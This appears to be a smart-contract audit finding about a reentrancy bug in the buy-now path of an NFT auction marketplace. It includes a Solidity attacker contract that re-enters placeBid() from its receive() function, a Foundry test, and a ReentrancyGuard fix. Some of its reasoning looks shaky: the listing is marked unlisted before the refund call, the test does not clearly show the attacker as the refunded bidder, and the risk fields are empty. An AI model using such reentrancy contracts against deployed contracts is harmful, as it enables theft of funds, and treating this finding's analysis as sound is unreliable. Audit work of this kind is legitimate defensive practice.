High: Reentrancy During Buy-Now Purchase
Description
- 
The placeBid()function allows immediate purchase when a bid meets the buy-now price, executing the sale and refunding any previous bidder.
 
- 
The function performs external calls to refund the previous bidder before completing all state changes, violating the checks-effects-interactions pattern and enabling reentrancy attacks. 
if (listing.buyNowPrice > 0 && msg.value >= listing.buyNowPrice) {
    uint256 salePrice = listing.buyNowPrice;
    uint256 overpay = msg.value - salePrice;
    bids[tokenId] = Bid(msg.sender, salePrice);
    listing.listed = false;
    if (previousBidder != address(0)) {
        _payout(previousBidder, previousBidAmount); 
    }
    _executeSale(tokenId); 
Risk
Likelihood:
Impact:
- 
Reentrancy could manipulate auction state during execution 
- 
Potential for double-spending or state corruption 
- 
Could prevent legitimate buy-now purchases from completing 
Proof of Concept
This test demonstrates how a malicious contract can exploit the reentrancy vulnerability during a buy-now purchase. The attacker's contract receives a refund for their previous bid and uses that opportunity to reenter the marketplace contract before the sale is finalized.
contract MaliciousBidder {
    BidBeastsNFTMarket market;
    uint256 targetTokenId;
    uint256 attackCount;
    
    constructor(address _market) {
        market = BidBeastsNFTMarket(_market);
    }
    
    function placeBid(uint256 tokenId) external payable {
        targetTokenId = tokenId;
        market.placeBid{value: msg.value}(tokenId);
    }
    
    receive() external payable {
        
        if (attackCount < 1) {
            attackCount++;
            
            
            
            market.placeBid{value: msg.value}(targetTokenId);
        }
    }
}
function test_ReentrancyInBuyNow() public {
    
    MaliciousBidder attacker = new MaliciousBidder(address(market));
    vm.deal(address(attacker), 10 ether);
    
    
    attacker.placeBid{value: 2 ether}(tokenId);
    
    
    vm.prank(legitimateBuyer);
    vm.expectRevert(); 
    market.placeBid{value: buyNowPrice}(tokenId);
}
Recommended Mitigation
Implement proper checks-effects-interactions pattern by completing all state changes before making external calls. Additionally, consider using OpenZeppelin's ReentrancyGuard for comprehensive protection.
+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
- contract BidBeastsNFTMarket is Ownable(msg.sender) {
+ contract BidBeastsNFTMarket is Ownable(msg.sender), ReentrancyGuard {
- function placeBid(uint256 tokenId) external payable isListed(tokenId) {
+ function placeBid(uint256 tokenId) external payable isListed(tokenId) nonReentrant {
if (listing.buyNowPrice > 0 && msg.value >= listing.buyNowPrice) {
    uint256 salePrice = listing.buyNowPrice;
    uint256 overpay = msg.value - salePrice;
+   address prevBidder = previousBidder;
+   uint256 prevAmount = previousBidAmount;
    // Complete ALL state changes first
    bids[tokenId] = Bid(msg.sender, salePrice);
    listing.listed = false;
    
-   if (previousBidder != address(0)) {
-       _payout(previousBidder, previousBidAmount);
-   }
    
    _executeSale(tokenId); // This also modifies state
    
+   // External calls last
+   if (prevBidder != address(0)) {
+       _payout(prevBidder, prevAmount);
+   }
    
    if (overpay > 0) {
        _payout(msg.sender, overpay);
    }